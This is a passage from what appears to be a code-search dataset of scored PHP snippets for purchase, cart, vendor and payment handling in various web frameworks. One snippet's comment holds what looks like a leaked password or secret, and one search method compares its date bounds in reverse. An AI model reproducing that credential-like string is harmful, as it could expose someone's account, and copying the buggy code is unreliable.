$product->save(); \n \n $purchase_product->save();\n }\n\n \n return view('frond.purchases.index');\n }", "title": "" }, { "docid": "4effa88f900d01b148274a21ffa9c859", "score": "0.5853993", "text": "final function addVendorAction(){\n\t\t$post=$this->getRequest()->getPost();\n\t\t$add_vendor = new purchase_Model_DbTable_DbAddVendor();\n\t\t$vid = $add_vendor->addNewVenor($post);\n\t\t$result = array('vid'=>$vid);\n\t\techo Zend_Json::encode($result);\n\t\texit();\n\t}", "title": "" }, { "docid": "f6832f06cae40d75294e75e9922cfc01", "score": "0.5853589", "text": "function add()\r\n\t\t{\r\n\t\t\t// Build the toolbar for the add function\r\n\t\t\tJToolBarHelper::title( JText::_( 'Box Office Revue' ) . ': [<small>Add</small>]' );\r\n\t\t\tJToolBarHelper::save();\r\n\t\t\tJToolBarHelper::cancel();\r\n\t\r\n\t\t\t// Get a new revue from the model\r\n\t\t\t$model =& $this->getModel();\r\n\t\t\t$revue = $model->getNewRevue();\r\n\t\t\t$this->assignRef( 'revue', $revue );\r\n\t\r\n\t\t\tparent::display();\r\n\t\t}", "title": "" }, { "docid": "fb14d8661cbc869e89b7d91a003bb7dc", "score": "0.5847578", "text": "public function create()\n {\n return view('backend.sales.add');\n }", "title": "" }, { "docid": "1b98217a2454dc4bc1e20d6bc91a1710", "score": "0.58439213", "text": "public function create()\n {\n //\n\n\n return view('vendor.add_product');\n }", "title": "" }, { "docid": "90a9607f091720fd7964293ad0aa9f55", "score": "0.58408886", "text": "public function view(Request $request)\n {\n \t$getFormAutoFillup = array();\n \tif($request->isMethod('post'))\n \t{\n \t\t$viewData['pageTitle'] = 'Add Party'; \t\n\t\t\t$purchase= DB::table('purchases');\n $purchase->leftJoin('products','products.id','=','purchases.product_id');\n $purchase->leftJoin('suppliers','suppliers.id','=','purchases.supplier_name');\n $purchase->leftJoin('modals','modals.id','=','purchases.model_number');\n $purchase->leftJoin('brands','brands.id','=','purchases.company_name');\n $purchase->where('purchases.deleted_at','=',null);\n\t\t\tif($request->has('id') && $request->id !=''){\n\t\t\t\t$getFormAutoFillup['id']=$request->id;\n\t\t\t\t$purchase->where('id', '=', $request->id);\n\t\t\t}\n\t\t\tif($request->has('supplier_name') && $request->supplier_name !=''){\n\t\t\t\t$getFormAutoFillup['supplier_name']=$request->supplier_name;\n\t\t\t\t$purchase->where('suppliers.supplier_name', 'like', '%'.$request->supplier_name.'%');\n\t\t\t}\n\t\t\tif($request->has('created_at_from') && $request->created_at_from !=''){\n\t\t\t\t$getFormAutoFillup['created_at_from']=$request->created_at_from;\n\t\t\t\t$purchase->whereDate('created_at', '<=', $request->created_at_from);\n\t\t\t}\n\t\t\tif($request->has('created_at_to') && $request->created_at_to !=''){\n\t\t\t\t$getFormAutoFillup['created_at_to']=$request->created_at_to;\n\t\t\t\t$purchase->whereDate('created_at', '>=', $request->created_at_to);\n\t\t\t}\n\t\t\tif($request->has('product_name') && $request->product_name !=''){\n\t\t\t\t$getFormAutoFillup['product_name']=$request->product_name;\n\t\t\t\t$purchase->where('product_id', 'like', '%'.$request->product_name.'%');\n\t\t\t}\n\t\t\tif($request->has('company_name') && $request->company_name !=''){\n\t\t\t\t$getFormAutoFillup['company_name']=$request->company_name;\n\t\t\t\t$purchase->where('company_name', '=', $request->company_name);\n\t\t\t}\n\n\t\t\t$purchase->select('purchases.*','products.product_name as product_name','suppliers.supplier_name as supplier_name_from_supplier');\n\t\t\t$purchase->orderBy('id','desc');\n \t\t$purchase= $purchase->get();\n\t\t\t$viewData['purchase']=json_decode(json_encode($purchase), true);\n\t\t\t// print_r($viewData['purchase']);\n\t\t\t// exit;\n\n\t\t return view('SaiAutoCare.purchase.search', $viewData)->with($getFormAutoFillup);;\n\n \t}else\n \t{\n \t\t$viewData['pageTitle'] = 'Add Party'; \t\n\t\t\t$purchase= DB::table('purchases');\n $purchase->where('purchases.deleted_at', '=', null);\n $purchase->leftJoin('products','products.id','=','purchases.product_id');\n $purchase->leftJoin('suppliers','suppliers.id','=','purchases.supplier_name');\n $purchase->leftJoin('modals','modals.id','=','purchases.model_number');\n $purchase->leftJoin('brands','brands.id','=','purchases.company_name');\n $purchase->select('purchases.*','products.product_name as product_name','suppliers.supplier_name as supplier_name_from_supplier','brands.brand_name as company_name_from_brand','modals.model_name as model_number');\n $purchase= $purchase->get();\n $viewData['purchase']=json_decode(json_encode($purchase), true);\n // $viewData['purchase'] = $purchase;\n\t\t//\t$purchase= DB::table('purchases');\n\t\t\t//$purchase->orderBy('id','desc');\n \t\t//$purchase= $purchase->get();\n\t\t\t//$viewData['purchase']=json_decode(json_encode($purchase), true);\n //Ashu@97047$&(! ca7zaoly6g7y\n\t\t return view('SaiAutoCare.purchase.search', $viewData);\n \t}\n \n }", "title": "" }, { "docid": "97fa0e5bfc1c95d7fe32c3ebf7c91472", "score": "0.5833291", "text": "public function addToCart(){\n // session_start();\n if($this->aut){\n $sku = $_POST[\"sku\"];\n $quantity = $_POST[\"quantity\"];\n\n $model = $this->model('Products');\n $data = $model->getItem(array($sku));\n\n unset($data[\"description\"]);\n $data['quantity'] = $quantity;\n\n // $data = [\"sku\"=>$_POST[\"sku\"], \"quantity\"=>$_POST[\"quantity\"]];\n array_push($_SESSION[\"cart\"], $data);\n\n echo json_encode($data);\n }else{\n echo json_encode(array('error'=>\"Usuario no Ingresado\"));\n }\n }", "title": "" }, { "docid": "b584d101d1f6224d1674966fba3ae3d3", "score": "0.5829944", "text": "public function buy()\r\n\t {\r\n\t $this->notifyObserver('purchased');\r\n\t }", "title": "" }, { "docid": "7ba44c1a10db66171f6d49c71ad04d49", "score": "0.58220166", "text": "public function store(Request $request)\n {\n $request->validate([\n 'title' => 'required',\n 'due_date' => 'required',\n 'service_vendor_id' => 'required',\n 'added_by' => 'required',\n 'item_cost' => 'required',\n 'hospital_id' => 'required',\n ]);\n\n $purchaseOrder = new PurchaseOrder();\n \n $purchaseOrder->id = md5($request->title.microtime());\n $purchaseOrder->title = $request->title;\n $purchaseOrder->service_vendor_id = $request->service_vendor_id;\n $purchaseOrder->added_by = $request->added_by;\n $purchaseOrder->due_date = date(\"Y-m-d\", strtotime($request->due_date));\n $purchaseOrder->item_cost = $request->item_cost;\n $purchaseOrder->sales_tax = $request->sales_tax;\n $purchaseOrder->shipping_cost = $request->shipping_cost;\n $purchaseOrder->other_cost = $request->other_cost;\n $purchaseOrder->description = $request->description;\n $purchaseOrder->shipping_method = $request->shipping_method;\n $purchaseOrder->terms = $request->terms;\n $purchaseOrder->notes = $request->notes;\n $purchaseOrder->hospital_id = $request->hospital_id;\n $purchaseOrder->hospital_name = $request->hospital_name;\n $purchaseOrder->address = $request->address;\n $purchaseOrder->contact_number = $request->contact_number;\n $purchaseOrder->contact_name = $request->contact_name;\n $purchaseOrder->work_order_id = $request->work_order_id;\n $purchaseOrder->createLink();\n \n $last_po_number = PurchaseOrder::where('hospital_id', Auth::user()->hospital_id)->latest()->first();\n\n if($last_po_number == null) {\n $purchaseOrder->po_number = 1;\n } else {\n $purchaseOrder->po_number = $last_po_number->po_number + 1;\n }\n\n if(User::where([['id', $request->added_by], ['role', 'Hospital Head']])->first() != null) {\n $purchaseOrder->approve();\n } else {\n $purchaseOrder->status = 2;\n }\n\n if($purchaseOrder->save()) {\n if($request->orderItems != null) {\n $items = json_decode($request->orderItems, false);\n \n $orderItems = array();\n foreach($items as $item){\n array_push($orderItems, array(\"purchase_order_id\" => $purchaseOrder->id, \n \"part_id\" => $item->part_id, \"quantity\" => $item->quantity, \"unit_cost\" => $item->unit_cost, \n \"part_name\" => $item->name, \"created_at\" => date(\"Y-m-d H:i:s\")));\n }\n OrderItem::insert($orderItems);\n }\n return response()->json([\n 'error' => false,\n 'data' => $purchaseOrder,\n 'message' => 'Purchase order saved successfully!'\n ]);\n } else {\n return response()->json([\n 'error' => true,\n 'message' => 'Could not save purchase order. Try Again!'\n ]);\n }\n }", "title": "" }, { "docid": "4a8c19513ff4cf4e49a57872f3bfb587", "score": "0.5812191", "text": "public function adddeal() {\n $data['users'] = $this->user_model->user_details(array('u_status' => '1', 'u_id !=' => $this->session->userdata('u_id')), 'comp_person_name ASC');\n $this->load->view(\"add_deals_view\", $data);\n }", "title": "" }, { "docid": "a1a7c07f0658139301e34a740a45d963", "score": "0.58111393", "text": "public function create()\n {\n $purchaseorder = new PurchaseOrder();\n $header_text = 'เพิ่มรายการสั่งของ';\n $mode = 'create';\n $form_action = '/purchaseorder';\n $purchasestatusList = PurchaseStatus::pluck('detail', 'id')->toArray();\n $sellerList = Seller::pluck('name', 'id')->toArray();\n $categoryList = Category::pluck('name', 'id')->toArray();\n return view('purchaseorder.form', compact('purchaseorder', 'header_text', 'mode', 'form_action', 'purchasestatusList', 'sellerList', 'categoryList'));\n }", "title": "" }, { "docid": "1ee9b031136bf1685d3b1a4250ca355d", "score": "0.58085227", "text": "public function product_add()\n {\n $items_cats = store_item_category::all();\n $gatewaysOnline = gateway::where('online', 1)->get();\n $gatewaysCard = gateway::where('cart', 1)->get();\n $gatewaysAccount = gateway::where('account', 1)->get();\n return view('panel.store.product.product_add', compact('gatewaysOnline', 'gatewaysCard', 'gatewaysAccount', 'items_cats'));\n }", "title": "" }, { "docid": "5344334c57ce812151892080225d0b2f", "score": "0.58081216", "text": "public function form () {\r\n \r\n $data['user_id'] = $this->user->getUserId();\r\n \r\n $this->response->setOutput( $this->load->view('wb/template/customer/quick_add.tpl', $data) );\r\n \r\n }", "title": "" }, { "docid": "6199eda007578eee6f256e71fcfa490e", "score": "0.5804909", "text": "public function show()\n {\n return view('purchaseorder::show');\n }", "title": "" }, { "docid": "ed16946b21b646e8e5a92397340bfb2a", "score": "0.5797189", "text": "public function addProduct(Request $request){\n \n \treturn view('bt645.viewAddproduct');\n }", "title": "" }, { "docid": "c638bd4159821a0e8281f570d0d8d3c8", "score": "0.5796193", "text": "public function actionCreate($idrequest = null)\n {\n $model = new Purchaseorder();\n $model->idrequest = $idrequest;\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['index', 'id' => $model->idrequest]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "0beeb698405b1ab5dd400c965404b97a", "score": "0.57939416", "text": "public function addAction()\n {\n $data = $this->getRequest()->getPost();\n $result = array(\n 'added' => false\n );\n if (isset($data['snap_card'])) {\n $code = $data['snap_card'];\n $pin = $data[\"snap_card_pin\"];\n try {\n $card = Mage::getModel('snap_card/giftcard')\n ->loadByCode($code, $pin)\n ->addToCart();\n \n if ($card->isAddingCardSuccess()) {\n Mage::getSingleton('checkout/session')->addSuccess(\n $this->__('Gift Card \"%s\" was added.', Mage::helper('core')->escapeHtml($code))\n );\n }\n \n $result['added'] = true;\n $result['html'] = $this->getLayout()\n ->createBlock('core/template')\n ->setTemplate('snap/checkout/item.phtml')\n ->setData('card', $card)\n ->toHtml();\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('checkout/session')->addError(\n $e->getMessage()\n );\n $result['msg'] = $e->getMessage();\n } catch (Exception $e) {\n Mage::getSingleton('checkout/session')->addException($e, $this->__('Cannot apply gift card.'));\n $result['msg'] = $e->getMessage();\n }\n }\n if ($this->getRequest()->isAjax()) {\n return $this->getResponse()->setBody(Mage::helper('core')->jsonEncode($result));\n } else {\n $this->_redirect('checkout/cart');\n }\n }", "title": "" }, { "docid": "67f3c2fd8f5673e96a95101d25bc5bd4", "score": "0.5791482", "text": "public function create()\n {\n $supplier = new SupplierModel(); //供应商列表\n $suppliers = $supplier->lists();\n\n $storage = new StorageModel(); //仓库列表\n $storages = $storage->storageList(1);\n\n return view('home/purchase.createPurchase', ['suppliers' => $suppliers, 'storages' => $storages]);\n }", "title": "" }, { "docid": "fec24a536440ea5f2c0c4cf986001160", "score": "0.5789478", "text": "public function complete_purchase($shop_id = false, $order_uuid = false) {\n\t\t$this->layout \t\t= 'default';\n\t\t$this->autoRender \t= false;\n\t\t\n\t\tif ($this->request->is('post')) {\n\t\t\t$orderFormData = $this->request->data;\n\t\t\t\n\t\t\t$this->Order->id = $order_uuid;\n\t\t\t\n\t\t\t// 3 Step\n\t\t\t// first we retrieve all relevant shipping rate data and attach the shipping rate data as shipment data\n\t\t\t// second we format payment & shipment data as hasMany association\n\t\t\t// finally we save\n\t\t\t\n\t\t\t// first retrieve the shipping rate based on shipping_rate_id\n\t\t\t$rate = $this->Order->Shop->ShippedToCountry->ShippingRate->read(null, $orderFormData['Shipment']['shipping_rate_id']);\n\t\t\t\n\t\t\t// format the shipping rate data into shipment data\n\t\t\t$result = $this->Order->extractShipmentDataFromShippingRate($rate);\n\t\t\tif ($result) {\n\t\t\t\t$orderFormData['Shipment'] = $result['Shipment'];\n\t\t\t} else {\n\t\t\t\t// something went wrong with shipment data\n\t\t\t\t// redirect user back to pay page and ask them to contact owner for assistance\n\t\t\t}\n\t\t\t\n\t\t\t// second, format payment data\n\t\t\t$order = $this->Order->find('first', array('conditions' => array('Order.id' => $order_uuid))); \n\t\t\t\n\t\t\t//TODO Possibly we need to prepare purchase info for each payment gateway\n\t\t\t$accountEmail = $this->Order->Shop->getAccountEmailPaypal($shop_id);\n\t\t\t\n\t\t\t// Retrieve Delivery Address details to pass to payment gateway\n\t\t\t$deliveryAddress = $this->Order->getDeliveryAddressByOrderId($order_uuid);\n\t\t\t\n\t\t\t// this is the options we need to set for AktiveMerchant to process the payment\n\t\t\t$options = array(\n\t\t\t\t'subject' => $accountEmail,\n\t\t\t\t'currency' => $order['Order']['currency'],\n\t\t\t\t'amount' => $orderFormData['Shipment']['price'] + $order['Order']['amount'],\n\t\t\t\t'payment_breakdown' => array(\n\t\t\t\t\t'item_total' => $order['Order']['amount'],\n\t\t\t\t\t'shipping' => $orderFormData['Shipment']['price'],\n\t\t\t\t\t'handling' => 0 //$order['Order']['amount']\n\t\t\t\t),\n\t\t\t\t// address related \n\t\t\t\t'address' => array(\n\t\t\t\t\t'name' => $deliveryAddress['DeliveryAddress']['full_name'],\n\t\t\t\t\t'address1' => $deliveryAddress['DeliveryAddress']['address'],\n\t\t\t\t\t'address2' => '',\n\t\t\t\t\t'city' => $deliveryAddress['DeliveryAddress']['city'],\n\t\t\t\t\t'state' => $deliveryAddress['DeliveryAddress']['region'],\n\t\t\t\t\t'zip'\t=> $deliveryAddress['DeliveryAddress']['zip_code'],\n\t\t\t\t\t'countrycode' => $deliveryAddress['Country']['iso'],\n\t\t\t\t\t'phone' => '',\n\t\t\t\t),\n\t\t\t\t'addroverride' => 1,\n\t\t\t);\n\t\t\tforeach ($order['OrderLineItem'] as $orderItem) {\n\t\t\t\t$options['items'][] = array(\n\t\t\t\t\t'description' => $orderItem['product_title'],\n\t\t\t\t\t'unit_price' => $orderItem['product_price'],\n\t\t\t\t\t'quantity' => $orderItem['product_quantity'],\n\t\t\t\t\t'id' => $orderItem['product_id']\n\t\t\t\t);\n\t\t\t}\n\t\t\t$ShopsPaymentModule = ClassRegistry::init('ShopsPaymentModule');\n\t\t\t$shopsPaymentModule = $ShopsPaymentModule->find('first', array('conditions' => array('ShopsPaymentModule.id' => $orderFormData['Payment']['shops_payment_module_id'])));\n\t\t\t$this->Payments->setupPurchase($shopsPaymentModule['ShopsPaymentModule']['display_name'], $options);\n\t\t\t$orderFormData['Payment']['token_from_gateway'] = $this->Payments->getFromResponse($shopsPaymentModule['ShopsPaymentModule']['display_name'], 'TOKEN');\n\t\t\t$payment = array($orderFormData['Payment']);\n\t\t\t$shipment = array($orderFormData['Shipment']);\n\t\t\t$orderFormData['Payment'] \t= $payment;\n\t\t\t$orderFormData['Shipment'] \t= $shipment;\n\t\t\t// now we are going to save the Payment and Shipment rates\n\t\t\t$result = $this->Order->completePurchase($orderFormData);\n\t\t\tif ($result) {\n\t\t\t\tif (!$this->Payments->redirect($shopsPaymentModule['ShopsPaymentModule']['display_name'])) {\n\t\t\t\t\treturn $this->redirect(array(\n\t\t\t\t\t\t\t\t\t'action' => 'completed',\n\t\t\t\t\t\t\t\t\t'shop_id'=> $order['Order']['shop_id'],\n\t\t\t\t\t\t\t\t\t'order_uuid' => $order['Order']['id'],\n\t\t\t\t\t));\n\t\t\t\t}\n\t\t\t\t \n\t\t\t\t//Add conditions to another payment gateways\n\t\t\t}else {\n\t\t\t\t// redirect user back to pay page and ask them to contact owner for assistance\n\t\t\t}\n\t\t}\n\t\t\n\t\n\t}", "title": "" }, { "docid": "0c103ad1c143445b92b12b447a5e84ce", "score": "0.5783885", "text": "public function create(){\n $user = Auth::guard(\"api\")->user();\n $stripeCustomer = $user->createOrGetStripeCustomer();\n return view(\"payments.create\")->with([\n 'intent' => $user->createSetupIntent(),\n 'token' => Auth::tokenById(Auth::id()),\n 'postback_url' => route(\"payments.storeMethod\")\n ]);\n }", "title": "" }, { "docid": "024dd3a6bfc9f405249e5eca805aa15d", "score": "0.5780234", "text": "public function add() \n \t{\n\t\t// must be logged in and the admin to access this page\n\t\tif (!isset($_SESSION['user'])) \n\t\t{\n\t\t\theader(\"Location: /Test/session/new\");\n\t\t\texit;\n\t\t}\n\t\tif ($_SESSION['user']['account_type_id'] > 1) \n\t\t{\n\t\t\theader(\"Location: /Test/users/{$_SESSION['user']['user_id']}\");\n\t\t\texit;\n\t\t}\n\n\t\t//currently no validation\n\n\t\t$this->template->brands = Brand::retrieve();\n\t\t$this->template->display('add.php');\n\t}", "title": "" }, { "docid": "92537f4c687d6e54eb07dbf2b4bc81a2", "score": "0.57764935", "text": "public function create()\n {\n return view('vendorpanel.payment.create');\n \n }", "title": "" }, { "docid": "60d2a91986a451d521997ca70be1ffe6", "score": "0.57685554", "text": "public function buy()\n\t\t{\n\n\t\t\t// $data = $_POST;\n\t\t\t// $data['redirect'] = base_url('frontend/buy/');\n\t\t\t// echo json_encode($data);\n\t\t\t// exit;\n\n\t // Set variables for paypal form\n\t $returnURL = base_url().'frontend/paypal/success';\n\t $cancelURL = base_url().'frontend/paypal/cancel';\n\t $notifyURL = base_url().'frontend/paypal/ipn';\n\t \n\t // Get current user ID from the session\n\t $userID = $this->session->userdata('id');\n\t $total = $this->input->post('total');\n\n\t // Add fields to paypal form\n\t $this->paypal_lib->add_field('return', $returnURL);\n\t $this->paypal_lib->add_field('cancel_return', $cancelURL);\n\t $this->paypal_lib->add_field('notify_url', $notifyURL);\n\t // $this->paypal_lib->add_field('item_name', $product['name']);\n\t $this->paypal_lib->add_field('custom', $userID);\n\t // $this->paypal_lib->add_field('item_number', $product['id']);\n\t $this->paypal_lib->add_field('amount', $total);\n\t \n\t // Render paypal form\n\t $this->paypal_lib->paypal_auto_form();\n\t }", "title": "" }, { "docid": "1ee89d580e8c1af782e8c2d42738bfe7", "score": "0.5767535", "text": "function goodAdd()\n {\n $this->global['pageTitle'] = '新增商品';\n $this->loadViews(\"goodsadd\", $this->global, NULL, NULL);\n }", "title": "" }, { "docid": "c1a33d47ecf94f21fd57e20e137bd06b", "score": "0.5757201", "text": "public function addItems()\n {\n $categores =InventoryCategory::active();\n $items = Item::active();\n return view('admin.inventory.additem',compact('categores','items'));\n }", "title": "" }, { "docid": "2fec373dc09474d4c421605247c32cf7", "score": "0.5745014", "text": "public function cartProductsPurchase()\n {\n //check whether user is logined\n global $oSecurity;\n $oSecurity->RestoreFromSession();\n if( !$oSecurity->isLogined() )\n {\n $auto_fields = FUNC::SESSION(\"auto_fields\") ? FUNC::SESSION(\"auto_fields\") : array();\n $auto_fields ['return_loc'] = FUNC::getLocationFrom(__CLASS__, array(\"cartProductsPurchase\"), __CLASS__);\n FUNC::setSESSION(\"auto_fields\",$auto_fields);\n FUNC::JSRedirect(MAINSITE_URL.FUNC::getLocationFrom('login', array(\"autoJoin\"), 'login').\".htm\");\n return;\n }\n \n \n $step = FUNC::POSTGET(\"step\") ? FUNC::POSTGET(\"step\") : \"1\";\n $operation_name = \"purchase\";\n $object = \"products\";\n\n switch ($step)\n {\n case \"1\": // choose payment system\n global $oSm;\n \n FUNC::includeFile(PATH_2_GLOBALS.'modules/payment/payment_shared.class.php');\n $oPaymentShared = new payment_shared();\n $payment_systems = $oPaymentShared->getPaymentSystems($operation_name);\n \n // get view for payment systems selection\n $sm_file = Func::getTemplate( \"˝hoosePaymentSystem\", __FILE__ ); \n $oSm->template_dir = $sm_file['path'];\n $oSm->assign('payment_systems', $payment_systems);\n $res= $oSm->fetch( $sm_file['file'] );\n \n return $res; // return view\n break;\n\n case \"2\":\n $payment_system_name = FUNC::POSTGET(\"payment_system_name\");\n \n FUNC::setSESSION(\"payment_system_name\", $payment_system_name);\n \n FUNC::includeFile(PATH_2_GLOBALS.'modules/payment/paymentSystemOperationFactory.class.php'); \n $oPaymentSystemOperationFactory = new paymentSystemOperationFactory();\n $oPaymentSystemOperation = $oPaymentSystemOperationFactory->createPaymentSystemOperation($payment_system_name, $operation_name);\n $oPaymentSystemOperation->object = $object;\n \n $cartProductsPurchase_locname = FUNC::getLocationFrom(__CLASS__, array(\"cartProductsPurchase\"), __CLASS__); \n $viewCartProducts_locname = FUNC::getLocationFrom(__CLASS__, array(\"viewCartProducts\"), __CLASS__); \n $oPaymentSystemOperation->url_confirm = MAINSITE_URL.\"step/3/\".$cartProductsPurchase_locname.\".htm\";\n //debug($oPaymentSystemOperation->url_confirm);\n //echo \"--\";\n $oPaymentSystemOperation->url_back = MAINSITE_URL.$viewCartProducts_locname.\".htm\";\n $oPaymentSystemOperation->url_cancel = MAINSITE_URL.$viewCartProducts_locname.\".htm\";\n $oPaymentSystemOperation->url_process = MAINSITE_URL.\"step/4/\".$cartProductsPurchase_locname.\".htm\";\n //rewrite url proccess, because paypal returns parameters by GET method\n if ($payment_system_name == \"paypal\")\n {\n $oPaymentSystemOperation->url_process = MAINSITE_URL.\"index.php?s=\".$cartProductsPurchase_locname.\"&step=4&payment_system_name=\".$payment_system_name;\n }\n \n return $oPaymentSystemOperation->initOperation();\n break;\n \n case \"3\":\n $payment_system_name = FUNC::POST(\"payment_system_name\");\n $order_id = FUNC::POST(\"order_id\");\n \n FUNC::includeFile(PATH_2_GLOBALS.'modules/payment/paymentSystemOperationFactory.class.php'); \n $oPaymentSystemOperationFactory = new paymentSystemOperationFactory();\n $oPaymentSystemOperation = $oPaymentSystemOperationFactory->createPaymentSystemOperation($payment_system_name, $operation_name);\n $oPaymentSystemOperation->object = $object;\n \n $cartProductsPurchase_locname = FUNC::getLocationFrom(__CLASS__, array(\"cartProductsPurchase\"), __CLASS__); \n $viewCartProducts_locname = FUNC::getLocationFrom(__CLASS__, array(\"viewCartProducts\"), __CLASS__); \n $oPaymentSystemOperation->url_back = MAINSITE_URL.$viewCartProducts_locname.\".htm\";\n $oPaymentSystemOperation->url_process = MAINSITE_URL.\"step/4/\".$cartProductsPurchase_locname.\".htm\";\n \n return $oPaymentSystemOperation->confirmOperation($order_id);\n break;\n \n case \"4\":\n $payment_system_name = FUNC::POSTGET(\"payment_system_name\");\n $order_id = FUNC::POSTGET(\"order_id\"); \n \n FUNC::includeFile(PATH_2_GLOBALS.'modules/payment/paymentSystemOperationFactory.class.php'); \n $oPaymentSystemOperationFactory = new paymentSystemOperationFactory();\n $oPaymentSystemOperation = $oPaymentSystemOperationFactory->createPaymentSystemOperation($payment_system_name, $operation_name);\n $oPaymentSystemOperation->object = $object;\n \n $res = $oPaymentSystemOperation->processOperation($order_id);\n //debug($res);\n return $res;\n break;\n }\n }", "title": "" }, { "docid": "5d3df28a5a26795a60887872819cd68e", "score": "0.57385063", "text": "public function store(Request $request)\n {\n $request->validate([\n\n 'provider_id'=>'required',\n ]);\n //$request=merge(['user_id' => $request->user()->id]);\n //$purchase=Purchase::create($request->all());\n $purchase= new Purchase($request->except('created_at'));\n $user=Auth::user();\n $user->purchases()->save($purchase);\n\n $last_purchase = Purchase::latest('id')->first();\n $products=Product::get();\n return view('purchase.insertProducts-form', compact('last_purchase', 'products'));\n }", "title": "" }, { "docid": "b2d9bd9af2e782b05e9229215946f129", "score": "0.5735675", "text": "public function purchase_details_data($purchase_id) {\n $CI = & get_instance();\n $CI->auth->check_admin_auth();\n $CI->load->library('lpurchase');\n $content = $CI->lpurchase->purchase_details_data($purchase_id);\n $this->template->full_admin_html_view($content);\n }", "title": "" }, { "docid": "4beb17e6402d6fb9cb94f066f0301b12", "score": "0.5735545", "text": "public function add(RequestsCheckout $request){\n $create = ModelsCheckout::create($request->validated());\n //after insert data in check out then add check out to car\n $orders = Order::whereUser_id($request->user_id)->whereStatus(1)->wherePurchase(0)->get(\"id\");\n foreach($orders as $order):\n $cart = Cart::create([\n 'order_id' => $order->id,\n 'checkout_id' => $create->id,\n ]);\n $order->update([ 'purchase' => 1]);\n endforeach;\n return back()->withMsg('Your Purchase is done');\n }", "title": "" }, { "docid": "51277d14c1f6fc0d999161c64c7b8f89", "score": "0.5733285", "text": "public function store(Request $request)\n {\n if( ! $request->ajax() ) return redirect( '/' );\n\n $user = Auth::user();\n $site = session('siteDefault');\n $subTotal = 0;\n\n $purchaseOrder = new PurchaseOrder();\n $purchaseOrder->sites_id = $site;\n $purchaseOrder->provider_id = $request->provider;\n $purchaseOrder->quotations_id = 0;\n $purchaseOrder->user_reg = $user->id;\n $purchaseOrder->user_aproved = $user->id;\n $purchaseOrder->code = 'Automatic';\n $purchaseOrder->date_reg = date('Y-m-d');\n\n if( $purchaseOrder->save() ) {\n\n $purchase = new Purchase();\n $purchase->purchase_orders_id = $purchaseOrder->id;\n $purchase->type_vouchers_id = $request->typeVoucher;\n $purchase->type_payment_methods_id = 1;\n $purchase->serial_doc = $request->serial;\n $purchase->number_doc = $request->number;\n $purchase->save();\n\n foreach ( $request->details as $detail ) {\n $purchaseOrderDetail = new PurchaseOrderDetail();\n $purchaseOrderDetail->purchase_orders_id = $purchaseOrder->id;\n $purchaseOrderDetail->presentation_id = $detail['id'];\n $purchaseOrderDetail->quantity = $detail['quantity'];\n $purchaseOrderDetail->price_unit = $detail['priceUnit'];\n $purchaseOrderDetail->total = $detail['quantity'] * $detail['priceUnit'];\n $purchaseOrderDetail->save();\n\n $purchaseDetail = new PurchaseDetail();\n $purchaseDetail->purchases_id = $purchase->id;\n $purchaseDetail->presentation_id = $detail['id'];\n $purchaseDetail->quantity = $detail['quantity'];\n $purchaseDetail->price_unit = $detail['priceUnit'];\n $purchaseDetail->total = $detail['quantity'] * $detail['priceUnit'];\n $purchaseDetail->save();\n\n $subTotal += ( $detail['quantity'] * $detail['priceUnit'] );\n }\n\n if( $request->typeVoucher == 5 ) {\n $igv = $this::IGV * $subTotal;\n $total = $subTotal + $igv;\n\n $purchaseOrder->subtotal = round( $subTotal , 2 );\n $purchaseOrder->igv = round( $igv, 2 );\n $purchaseOrder->total = round( $total, 2 );\n $purchaseOrder->save();\n\n $purchase->subtotal = round( $subTotal, 2 );\n $purchase->igv = round( $igv, 2 );\n $purchase->total = round( $total, 2 );\n $purchase->save();\n } else {\n $purchaseOrder->subtotal = round( $subTotal,2);\n $purchaseOrder->igv = 0;\n $purchaseOrder->total = round( $subTotal, 2);\n $purchaseOrder->save();\n\n $purchase->subtotal = round( $subTotal, 2);\n $purchase->igv = 0;\n $purchase->total = round( $subTotal, 2);\n $purchase->save();\n }\n\n $typeVoucher = 6;\n $SiteVoucherClass = new SiteVourcher();\n $correlative = $SiteVoucherClass->getNumberVoucherSite( $typeVoucher, 'details' );\n\n if( $correlative['status'] ) {\n $inputOrder = new InputOrder();\n $inputOrder->purchases_id = $purchase->id;\n $inputOrder->serial_doc = $correlative['correlative']['serie'];\n $inputOrder->number_doc = $correlative['correlative']['number'];\n $inputOrder->date_input_reg = date('Y-m-d');\n $inputOrder->user_reg = $user->id;\n $inputOrder->date_input = date('Y-m-d');\n\n if ($inputOrder->save()) {\n $SiteVoucherClass->increaseCorrelative($typeVoucher);\n }\n\n return response()->json([\n 'status' => true\n ]);\n } else {\n return response()->json([\n 'status' => false,\n 'msg' => 'No se generaron los correlativos correspondientes'\n ], 200);\n }\n }\n return response()->json([\n 'status' => false\n ]);\n }", "title": "" }, { "docid": "b558e10922537462735d1a7bf8f21bee", "score": "0.5731971", "text": "public function add(){\n\t\t$this->hak_akses->cek_add($this->uri->segment(2));\n\t\t\n\t\t\n\t\t$this->dataMapel \t\t= $this->m_mata_pelajaran_model->showData(\"\",'','m_mata_pelajaran.nm_mata_pelajaran');\n\t\n\t\t$this->template_view->load_admin_view('master/paket_soal/paket_soal_add_view');\n\t}", "title": "" }, { "docid": "dc36d14131eff6cbaf4fddf1494e8da0", "score": "0.5731046", "text": "public function add_to_cart($param = 0)\n\t{\n\t\t$this->entry->insert_item($param);\n\t}", "title": "" }, { "docid": "b3f9d54c15092cf9960047ae9fc5e94f", "score": "0.57305074", "text": "function add_sell(Request $req){\n\n\t\t//delete all the existing data using the invoice number. this is specially needed for updating data\n\t\tDB::table('purchase_or_sell')\n\t\t->where('invoice_number' , $req->invoice_number)\n\t\t->delete();\n\n\t\tDB::table('sell_or_purchase_details')\n\t\t->where('invoice_number' , $req->invoice_number)\n\t\t->delete();\n\n\n\t\t//step_1\n\t\t//insert to purchase_or_sell , this is the purchase info purpose\n\t\tDB::table('purchase_or_sell')\n\t\t->insert( $req->purchase_or_sell );\n\n\t\t//step_2\n\t\t//insert to sell_or_purchase_details , for example product_id , quantity\n\t\tforeach ($req->sell_or_purchase_details as $key => $value) {\n\n\t\t\tDB::table('sell_or_purchase_details')\n\t\t\t->insert(\n\t\t\t\t(array) $value\n\t\t\t);\n\t\t}\n\n\t\t//step_3\n\t\t//update the serial number\n\t\tforeach ($req->serial_number as $key => $value) {\t\t\t\n\t\t\tDB::table('serial_number')\n\t\t\t->where('serial_number', $value['serial_number'] )\n\t\t\t->update((array) 